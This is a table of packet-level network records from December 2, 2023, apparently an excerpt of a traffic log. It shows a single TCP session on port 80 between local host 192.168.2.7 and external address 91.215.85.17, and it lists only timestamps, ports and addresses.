Dec 2, 2023 18:01:41.926886082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926896095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926908016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926915884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926922083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926949024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.926949024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.926949024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927011013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927030087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927037954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927054882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927097082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927112103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927119970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927130938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927139044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927151918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927160025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927170992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927177906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927190065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927196026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927196980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927196980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927196980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927212954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927215099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927222967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927231073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927242041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927248955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927254915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927268028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927275896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927280903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927280903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927283049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927280903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927292109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927298069 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927300930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927314043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927320957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927333117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927335978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927335978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927340984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927356005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927364111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927376032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927381992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927381992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927402020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927515030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927602053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927608967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927623987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927630901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927638054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927640915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927669048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927669048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927740097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927798986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927820921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927829027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927875996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927946091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.927963972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.927973032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928011894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928025007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928081036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928091049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928179026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928203106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928509951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928522110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928527117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928534031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928543091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928554058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928566933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928590059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928590059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928596973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928654909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928658962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928663969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928678036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928685904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928699017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928728104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928728104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928728104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928766966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928775072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928786993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928800106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928807020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928813934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928839922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928839922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928858995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928858995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928869009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928875923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928883076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928889036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928901911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928910017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928920984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928925991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.928947926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.928947926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929040909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929049015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929059982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929069996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929083109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929091930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929104090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929109097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929109097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929112911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929125071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929131031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929131985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929141045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929148912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929184914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929184914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929184914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929223061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929229975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929256916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929271936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929272890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929282904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929289103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929289103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929299116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929306984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929320097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929369926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929369926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929369926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929400921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929408073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929419994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929429054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929435968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929440022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929445982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929455042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929461956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929466963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929471970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929480076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929487944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929512978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929512978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929517984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929527044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929584980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.929641008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.929670095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.930260897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930269003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930280924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930288076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930294991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930318117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.930339098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.930347919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930356979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930370092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930393934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.930421114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930433989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930448055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.930474043 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.930474043 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931287050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931297064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931351900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931359053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931365967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931380033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931387901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931400061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931407928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931410074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931422949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931464911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931464911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931464911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931502104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931512117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931524038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931531906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931545019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931567907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931567907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931596994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931606054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931624889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931632042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931638956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931651115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931658983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931672096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931679964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931699038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931704998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931704998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931704998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931710005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931719065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931726933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.931763887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931763887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931763887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.931780100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932331085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932339907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932447910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932456017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932470083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932476044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932487965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932492018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932492018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932498932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932507038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932507038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932518005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932527065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932531118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932538986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932545900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932558060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932558060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932574987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932581902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932595015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932599068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932599068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932600975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932616949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932624102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932636976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932646036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932647943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932647943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932658911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932667017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932667971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932684898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932692051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932704926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932737112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932737112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932737112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932745934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932754040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932760954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932768106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932816029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932816029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932816029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932858944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932867050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932879925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932888031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932900906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932950974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932959080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932965994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.932967901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.932967901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.933027983 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.933027983 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.933533907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933542013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933549881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933645964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.933707952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933852911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933871031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.933969021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933978081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.933990955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934101105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.934273005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934284925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934297085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934345961 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.934366941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934375048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934389114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934395075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934484005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.934484005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.934798002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934809923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934854984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.934932947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934940100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934947014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934958935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934966087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.934978008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935081959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935081959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935081959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935090065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935097933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935105085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935172081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935246944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935255051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935261011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935269117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935275078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935570955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935684919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935693979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935704947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935712099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935719013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935724974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935730934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935838938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935899019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935905933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935915947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.935919046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.935920000 CET	49713	80	192.168.2.7	91.215.85.17
